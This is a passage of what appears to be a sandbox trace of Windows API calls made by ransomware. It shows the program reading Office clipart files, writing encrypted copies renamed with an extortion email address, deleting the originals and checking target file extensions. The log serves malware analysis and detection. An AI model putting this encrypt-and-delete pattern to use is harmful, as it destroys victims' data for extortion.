dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.688] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2690) returned 1 [0082.688] CloseHandle (hObject=0x374) returned 1 [0082.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0082.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.688] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.688] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.689] GetLastError () returned 0x0 [0082.689] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xa82, lpOverlapped=0x0) returned 1 [0082.690] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xa90, lpOverlapped=0x0) returned 1 [0082.691] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.691] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.691] SetEndOfFile (hFile=0x33c) returned 1 [0082.691] CloseHandle (hObject=0x33c) returned 1 [0082.692] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.692] SetEndOfFile (hFile=0x374) returned 1 [0082.693] CloseHandle (hObject=0x374) returned 1 [0082.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.694] lstrlenW (lpString=".doc") returned 4 [0082.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.694] lstrlenW (lpString=".docx") returned 5 [0082.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.694] lstrlenW (lpString=".pdf") returned 4 [0082.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.694] lstrlenW (lpString=".xls") returned 4 [0082.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.694] lstrlenW (lpString=".xlsx") returned 5 [0082.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.694] lstrlenW (lpString=".ppt") returned 4 [0082.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.694] lstrlenW (lpString=".zip") returned 4 [0082.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.694] lstrlenW (lpString=".rar") returned 4 [0082.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.694] lstrlenW (lpString=".bz2") returned 4 [0082.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.694] lstrlenW (lpString=".7z") returned 3 [0082.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString=".dbf") returned 4 [0082.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString=".1cd") returned 4 [0082.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString=".jpg") returned 4 [0082.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString=".doc") returned 4 [0082.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString=".docx") returned 5 [0082.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.695] lstrlenW (lpString=".pdf") returned 4 [0082.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString=".xls") returned 4 [0082.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.695] lstrlenW (lpString=".xlsx") returned 5 [0082.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.695] lstrlenW (lpString=".ppt") returned 4 [0082.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString=".zip") returned 4 [0082.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.695] lstrlenW (lpString=".rar") returned 4 [0082.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString=".bz2") returned 4 [0082.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.695] lstrlenW (lpString=".7z") returned 3 [0082.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.695] lstrlenW (lpString=".dbf") returned 4 [0082.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.696] lstrlenW (lpString=".1cd") returned 4 [0082.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0082.696] lstrlenW (lpString=".jpg") returned 4 [0082.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.696] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.696] lstrlenW (lpString="DD00256_.WMF") returned 12 [0082.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.696] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2832) returned 1 [0082.696] CloseHandle (hObject=0x374) returned 1 [0082.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0082.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.697] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.697] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.697] GetLastError () returned 0x0 [0082.697] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xb10, lpOverlapped=0x0) returned 1 [0082.698] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xb20, lpOverlapped=0x0) returned 1 [0082.699] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.699] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.700] SetEndOfFile (hFile=0x33c) returned 1 [0082.700] CloseHandle (hObject=0x33c) returned 1 [0082.701] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.701] SetEndOfFile (hFile=0x374) returned 1 [0082.702] CloseHandle (hObject=0x374) returned 1 [0082.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0082.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.702] lstrlenW (lpString=".doc") returned 4 [0082.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.702] lstrlenW (lpString=".docx") returned 5 [0082.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.702] lstrlenW (lpString=".pdf") returned 4 [0082.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.702] lstrlenW (lpString=".xls") returned 4 [0082.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.702] lstrlenW (lpString=".xlsx") returned 5 [0082.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.702] lstrlenW (lpString=".ppt") returned 4 [0082.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.702] lstrlenW (lpString=".zip") returned 4 [0082.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.703] lstrlenW (lpString=".rar") returned 4 [0082.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString=".bz2") returned 4 [0082.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString=".7z") returned 3 [0082.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.703] lstrlenW (lpString=".dbf") returned 4 [0082.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.703] lstrlenW (lpString=".1cd") returned 4 [0082.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.703] lstrlenW (lpString=".jpg") returned 4 [0082.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.703] lstrlenW (lpString=".doc") returned 4 [0082.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString=".docx") returned 5 [0082.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.703] lstrlenW (lpString=".pdf") returned 4 [0082.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString=".xls") returned 4 [0082.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.703] lstrlenW (lpString=".xlsx") returned 5 [0082.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.703] lstrlenW (lpString=".ppt") returned 4 [0082.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.703] lstrlenW (lpString=".zip") returned 4 [0082.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.703] lstrlenW (lpString=".rar") returned 4 [0082.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.703] lstrlenW (lpString=".bz2") returned 4 [0082.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.704] lstrlenW (lpString=".7z") returned 3 [0082.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.704] lstrlenW (lpString=".dbf") returned 4 [0082.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.704] lstrlenW (lpString=".1cd") returned 4 [0082.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0082.704] lstrlenW (lpString=".jpg") returned 4 [0082.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.704] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.704] lstrlenW (lpString="DD00261_.WMF") returned 12 [0082.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.704] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=37974) returned 1 [0082.704] CloseHandle (hObject=0x374) returned 1 [0082.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0082.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.705] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.705] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.705] GetLastError () returned 0x0 [0082.705] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x9456, lpOverlapped=0x0) returned 1 [0082.707] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x9460, lpOverlapped=0x0) returned 1 [0082.709] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.709] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.709] SetEndOfFile (hFile=0x33c) returned 1 [0082.709] CloseHandle (hObject=0x33c) returned 1 [0082.710] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.710] SetEndOfFile (hFile=0x374) returned 1 [0082.711] CloseHandle (hObject=0x374) returned 1 [0082.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.712] lstrlenW (lpString=".doc") returned 4 [0082.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.712] lstrlenW (lpString=".docx") returned 5 [0082.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.712] lstrlenW (lpString=".pdf") returned 4 [0082.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.712] lstrlenW (lpString=".xls") returned 4 [0082.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.712] lstrlenW (lpString=".xlsx") returned 5 [0082.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.712] lstrlenW (lpString=".ppt") returned 4 [0082.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.712] lstrlenW (lpString=".zip") returned 4 [0082.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.712] lstrlenW (lpString=".rar") returned 4 [0082.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString=".bz2") returned 4 [0082.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString=".7z") returned 3 [0082.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.713] lstrlenW (lpString=".dbf") returned 4 [0082.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.713] lstrlenW (lpString=".1cd") returned 4 [0082.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.713] lstrlenW (lpString=".jpg") returned 4 [0082.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.713] lstrlenW (lpString=".doc") returned 4 [0082.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString=".docx") returned 5 [0082.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.713] lstrlenW (lpString=".pdf") returned 4 [0082.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString=".xls") returned 4 [0082.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.713] lstrlenW (lpString=".xlsx") returned 5 [0082.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.713] lstrlenW (lpString=".ppt") returned 4 [0082.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.713] lstrlenW (lpString=".zip") returned 4 [0082.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.713] lstrlenW (lpString=".rar") returned 4 [0082.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.713] lstrlenW (lpString=".bz2") returned 4 [0082.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.714] lstrlenW (lpString=".7z") returned 3 [0082.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.714] lstrlenW (lpString=".dbf") returned 4 [0082.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.714] lstrlenW (lpString=".1cd") returned 4 [0082.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0082.714] lstrlenW (lpString=".jpg") returned 4 [0082.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.714] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.714] lstrlenW (lpString="DD00297_.WMF") returned 12 [0082.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.289] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=40030) returned 1 [0083.289] CloseHandle (hObject=0x384) returned 1 [0083.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 